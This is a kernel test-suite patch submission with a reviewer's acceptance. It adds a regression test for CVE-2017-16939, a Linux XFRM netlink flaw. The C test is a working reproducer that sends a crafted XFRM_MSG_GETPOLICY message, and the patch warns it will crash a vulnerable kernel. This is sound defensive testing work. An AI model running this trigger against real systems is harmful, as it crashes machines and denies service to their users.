diff mbox series

[v2] Add regression test for CVE-2017-16939

Message ID 20180309123437.30025-1-mmoese@suse.de
State Accepted
Headers show
Series [v2] Add regression test for CVE-2017-16939 | expand

Commit Message

Michael Moese March 9, 2018, 12:34 p.m. UTC
Based on the reproducing code from Mohammed Ghannam, published on
https://blogs.securiteam.com/index.php/archives/3535

Warning! If the kernel is vulnerable to this CVE, it will definitely
die. So do not run this on a production machine!

Signed-off-by: Michael Moese <mmoese@suse.de>

---
Changes to v1:
v1 was copied from the original reproducer. This v2 now simplified
things, like not using any fork() and only allocating memory in the
setup(). In addition, the many small functions were merged into still
rather short setup() and run().
---
 runtest/cve                    |  1 +
 testcases/cve/.gitignore       |  1 +
 testcases/cve/cve-2017-16939.c | 89 ++++++++++++++++++++++++++++++++++++++++++
 3 files changed, 91 insertions(+)
 create mode 100644 testcases/cve/cve-2017-16939.c

Comments

Cyril Hrubis March 13, 2018, 10:36 a.m. UTC | #1
Hi!
Pushed, thanks.
diff mbox series

Patch

diff --git a/runtest/cve b/runtest/cve
index 0c385c670..78799e2ff 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -30,3 +30,4 @@  cve-2017-17807 request_key04
 cve-2017-1000364 stack_clash
 cve-2017-5754 meltdown
 cve-2017-17052 cve-2017-17052
+cve-2017-16939 cve-2017-16939
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index c878069f1..f813e56ed 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -12,3 +12,4 @@  cve-2017-5669
 meltdown
 stack_clash
 cve-2017-17052
+cve-2017-16939
diff --git a/testcases/cve/cve-2017-16939.c b/testcases/cve/cve-2017-16939.c
new file mode 100644
index 000000000..a49499cf7
--- /dev/null
+++ b/testcases/cve/cve-2017-16939.c
@@ -0,0 +1,89 @@ 
+/*
+ * Copyright (c) 2018 Michael Moese <mmoese@suse.de>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/* Regression test for CVE-2017-16939
+ * based on the reproducing code from Mohammed Ghannam, published on
+ * https://blogs.securiteam.com/index.php/archives/3535
+ *
+ * CAUTION! If your system is vulnerable to this CVE, the kernel
+ * WILL DIE!
+ */
+
+#include <unistd.h>
+#include <sched.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <sys/wait.h>
+#include <netinet/in.h>
+#include <linux/netlink.h>
+#include <linux/xfrm.h>
+
+#include "tst_test.h"
+#include "tst_res_flags.h"
+#include "tst_safe_macros.h"
+#include "tst_safe_net.h"
+
+#define BUFSIZE 2048
+
+static int fd;
+static struct sockaddr_nl addr;
+
+struct msg_policy {
+	struct nlmsghdr msg;
+	char buf[BUFSIZE];
+};
+static struct msg_policy *p;
+
+static void setup(void)
+{
+	if (unshare(CLONE_NEWUSER) != 0)
+		tst_brk(TCONF, "unshare(CLONE_NEWUSER) failed");
+	if (unshare(CLONE_NEWNET) != 0)
+		tst_brk(TCONF, "unshare(CLONE_NEWNET) failed");
+
+	fd = SAFE_SOCKET(PF_NETLINK, SOCK_RAW, NETLINK_XFRM);
+	memset(&addr, 0, sizeof(struct sockaddr_nl));
+	addr.nl_family = AF_NETLINK;
+	addr.nl_pid = 0; /* packet goes into the kernel */
+	addr.nl_groups = XFRMNLGRP_NONE; /* no need for multicast group */
+
+	p = SAFE_MALLOC(sizeof(struct msg_policy));
+	memset(p, 0, sizeof(struct msg_policy));
+
+	p->msg.nlmsg_len = 0x10;
+	p->msg.nlmsg_type = XFRM_MSG_GETPOLICY;
+	p->msg.nlmsg_flags = NLM_F_MATCH | NLM_F_MULTI |  NLM_F_REQUEST;
+	p->msg.nlmsg_seq = 0x1;
+	p->msg.nlmsg_pid = 2;
+}
+
+static void run(void)
+{
+	int var = 0x100;
+
+	SAFE_SETSOCKOPT(fd, 1, SO_RCVBUF, &var, sizeof(int));
+	SAFE_SENDTO(1, fd, (void *) &p->msg, p->msg.nlmsg_len, 0,
+		    (struct sockaddr *) &addr,
+		    sizeof(struct sockaddr_nl));
+
+	tst_res(TPASS, "Kernel seems to have survived");
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+};